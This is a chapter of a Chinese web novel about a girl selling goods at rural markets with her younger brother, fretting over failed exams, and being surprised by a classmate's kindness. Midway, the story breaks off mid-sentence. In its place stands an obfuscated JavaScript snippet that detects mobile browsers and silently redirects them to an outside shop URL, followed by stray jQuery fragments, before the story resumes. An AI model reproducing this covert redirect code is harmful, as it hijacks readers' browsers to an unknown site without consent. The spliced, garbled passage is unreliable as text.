之后便又是近两个小时的骑行,等终于回到家时,已经下午两点多了。
“爸!妈!我们回来了。”杨文励一进院子就开始大喊。
王淑兰也立马放下手中正纳着的鞋底,匆匆从屋里小跑出来。待看到杨文励灰头土脸的模样,她连忙上前,边忙不迭地帮他拍着衣服上的灰尘,边心疼地念叨:“你看这一身灰!累坏了吧?”
“哎哟,咱家的两个小功臣回来了!”杨国强也紧随其后,拄着拐杖,一瘸一拐地从屋内走了出来。
“爸。”杨文励又转而投进了杨国强的怀抱。
杨国强本就步履不稳,被这一扑险些摔倒,却还是第一时间稳住身形,一把接住杨文励,笑呵呵地摸着他的头说:“瞧这力气大的,爸都快接不住你了。”
王淑兰也在一旁嗔怪道:“瞧你这孩子,也没个分寸,不知道你爸腿脚不好吗?再给他扑倒了。”
“诶,没事。”杨国强立刻阻止她,“我又不是纸糊的,哪能真一碰就倒?励娃子这是想我了,是不是?”
杨文励没说话,只是把杨国强抱得更紧了。
头还在他胸膛上蹭了两下。
“哎呦呦,你看这孩子,才没多大会儿没见……”杨国强和王淑兰不禁都被他这举动逗笑了,只当杨文励是在撒娇。
却只有杨文箐心里清楚——因为她在路上曾严厉警告过杨文励,不许把今天发生的事告诉杨国强,主要也是怕杨国强担心。而这小子现在这副模样,想来是既想跟杨国强说,又不敢开口,这才借着撒娇来发泄情绪呢。
她只是默默地将自行车推到院墙边,把捆蛇皮袋的绳子解了。
然而就在她解开绳子,准备把蛇皮袋往下搬时,一只粗糙的大手却抢先一步,一把攥住袋口,将其从自行车后座拎了下来。
“哎呦,就只剩下这点货了吗?”杨国强单手拎着蛇皮袋掂了掂,脸上也全是惊喜:“那你们今天卖得不少呀。”
“嗯。”杨文箐点了点头,将零钱包从身上摘下来,连同记帐本一同交给杨国强:“这是我记的帐本,今天卖的货和挣的钱都在上面记着呢,您看看。”
“你给我看这个干什么?”杨国强却笑着一把将东西推了回去,“你卖多少心里有数就行,这钱我也不要!你往后缺货了还得进货,到处都得花钱,你自己留着安排着花就行。”
他说着便一瘸一拐地引着杨文箐往屋里走,边走边念叨:“快进屋吧,大早上就出去了,这才回来,肯定累坏了。先洗把脸凉快凉快,我特意让你……让淑兰给你们换了个大西瓜,一会儿吃点。”
杨文箐其实刚吃过王淑兰早上准备的馒头和咸菜,一点也不饿,可听到这话,却没有说别的,只是乖顺地进屋洗了脸,也吃了两块西瓜。
吃完西瓜后,杨国强又催杨文箐回屋补觉,说:“明天还得早起,你到底还是个孩子,本来就贪睡,不补会儿觉的话,时间长了肯定熬不住。”
杨文励也早在王淑兰的哄劝下进西屋睡觉去了。杨文箐虽嘴上应着,也回到了自己屋里,可等看到自己特意摊在桌上,用来提醒自己的那几张画满大红叉的试卷,却还是强打精神,在桌子前坐了下来。
目前钱倒是算挣上了,虽然数目不多,也经历了不少波折,但至少算是看到了希望——可唯独在学习这件事上,她是一点希望也看不到啊。
而在这种力竭式的无力感的冲击下,杨文箐只坐在桌前勉强看了几分钟,就又将卷子扔了到一边。
“难道,我这辈子还是只能混个初中毕业吗?”她蔫蔫地反问自己。
可是真的好不甘心啊!
她放松身子,软软地趴在桌上,手指无意识地拨弄着书页,心里却忍不住羡慕起于向荣和江时安——他们到底是怎么学的?成绩怎么能这么好?
诶?!
她脑中灵光突然一闪,整个人也从桌子上倏然弹了起来。
一个大胆的念头也腾腾而起……
不过下一秒,她又用力摇了摇头,否决了这个念头,整个人也重新软软地趴了回去。
就算江时安性格温和,好说话,自己也不能这么没有分寸吧?
何况人家今天才刚帮自己解了围,明天就又跑去求人家辅导学习?
反正以杨文箐的脸皮,她自认做不出这样的事来。
可如果不找江时安帮忙辅导,眼下又实在没有别的办法。
于是最终,在经历了一番不亚于当初赵晓勇那般的百般纠结后,她“哎呀”一声,强行命令自己把这个念头从脑子里摘了出去。
她又翻出初二的课本,开始了新一轮的死磕。
她这一磕就又磕到了晚上,吃过晚饭,又收拾好第二天要卖的货物后,她便早早睡下。原本想着能早睡早起,可直到堂屋传来杨国强的呼噜声,她依旧睁着眼睛望着头顶的人字梁,没有丝毫的睡意。
“要不……明天把书包带上,先探探江时安的口风?”最终,她跟自己妥协道。
还别说,她这一妥协还真管用,没多久就真的睡着了,直到第二天被杨文励喊醒。
“姐……该起床了。”
显然昨天的补觉起了作用,杨文励今天不光起得早,精神头也明显比昨天好。
“嗯。”杨文箐应了声,起床的时候,她看了眼挂在墙上的书包,最终还是摘下来背上了。
当然,也没忘了把那几张画满红叉的试卷也装了进来。
而看到她背着书包,杨文励显然也不太理解,问道:“姐,你咋还背着书包呀?咱们是去赶集,又不是去上学。”
杨文箐白了他一眼,这个道理难道她自己不懂吗?
更何况,她是下了多大的决心才做出的这个决定啊,现在被这小子这么一说,她立马又有了退缩的念头。
“你管我!”她最后没好气地说道。
杨国强虽然也不理解,但因性格使然,他本身就不会因为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695294|206462||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这些细枝末节的小事特意询问杨文箐。至于王淑兰——她现在似乎也有点想通了,反正是自己儿子上赶着找骂,骂他也活该,自己何必老是去当这个恶人。
不过想通归想通,她的脸色还是沉了沉,给杨文励递准备好的午饭时,语气也有些没好气:“给,拿着!就你一天话多。”
而杨文励自然也不会跟他妈计较,更不会跟杨文箐计较,接过帆布包就屁颠颠地催杨文箐:“姐,咱们快走吧,可别再跟昨天似的,占不到好位置。”
杨文箐自然也知道占位置是当下最重要的事,便也将那些杂七杂八的念头抛之脑后,随后便跟杨文励出发前往了彭家村。
彭家村与杨文箐所在的杨家村仅隔着两个村庄,路程比昨天至少缩短了一半。但尽管如此,两人也丝毫不敢怠慢,不仅起得并不比昨天晚,路上还特意比昨天走得更快了些。
但让两人意外的是,他们刚走进集市,就看到了赵晓勇等在路口的身影。
“哎呦,你们怎么才来呀。”赵晓勇手里拿着个包子,边吃边抱怨:“你们知道我等了你们多长时间吗?”
他伸出四根手指,“已经等十四分钟了好不好!”
十四分钟?
杨文箐看他那脸上的怨气,还以为他已经等了四十分钟了呢。
不过,他等着他们干什么?
心里这样想着,杨文箐便想问他,谁知还不等她开口,杨文励就抢先一步问道:“你等着我们干什么?谁让你等的?”
“你说谁让等的?”赵晓勇咬着包子,给了他一个“你问得这不是废话么”的眼神,“除了江时安还能有谁?”
而听到“江时安”这三个字,杨文箐的心不受控制的轻颤了一下,手也下意识地扶了扶身后的书包。
另外两人却浑然不觉,杨文励继续问道:“那他让你等着我们,是有什么事吗?”
“能有什么事?”不得不说,赵晓勇这个说话前必反问一句的习惯真的很不好,仿佛要跟人吵架一样,不过,也或许是他跟杨文励本来就不对付,所以这故意这样。
“因为他在那边已经给你们占好了位子了呗,怕你们来了找不着,所以才让我在这儿等着你们,好领着你们过去呗。”
原本杨文箐还在心里暗暗吐槽赵晓勇的说话方式,可听到这句话时,瞬间就懵了,还以为自己出现了幻听。
“……你刚才说什么?”她反问道。
赵晓勇这才把视线从杨文励脸上挪了过来,还以为杨文箐真没听清,便又一字一句地重复道:“因为江时安在那边已经给你们占好了位子,怕你们来了找不到,所以才让我在这儿等着你们,好领着你们过去。明白了吗?”
杨文箐半天没有说话。
心也跳得仿佛不是自己的。
她当然明白!
赵晓勇说的每一个字她都能听懂!
可是为什么?
江时安为什么要对她这么好?!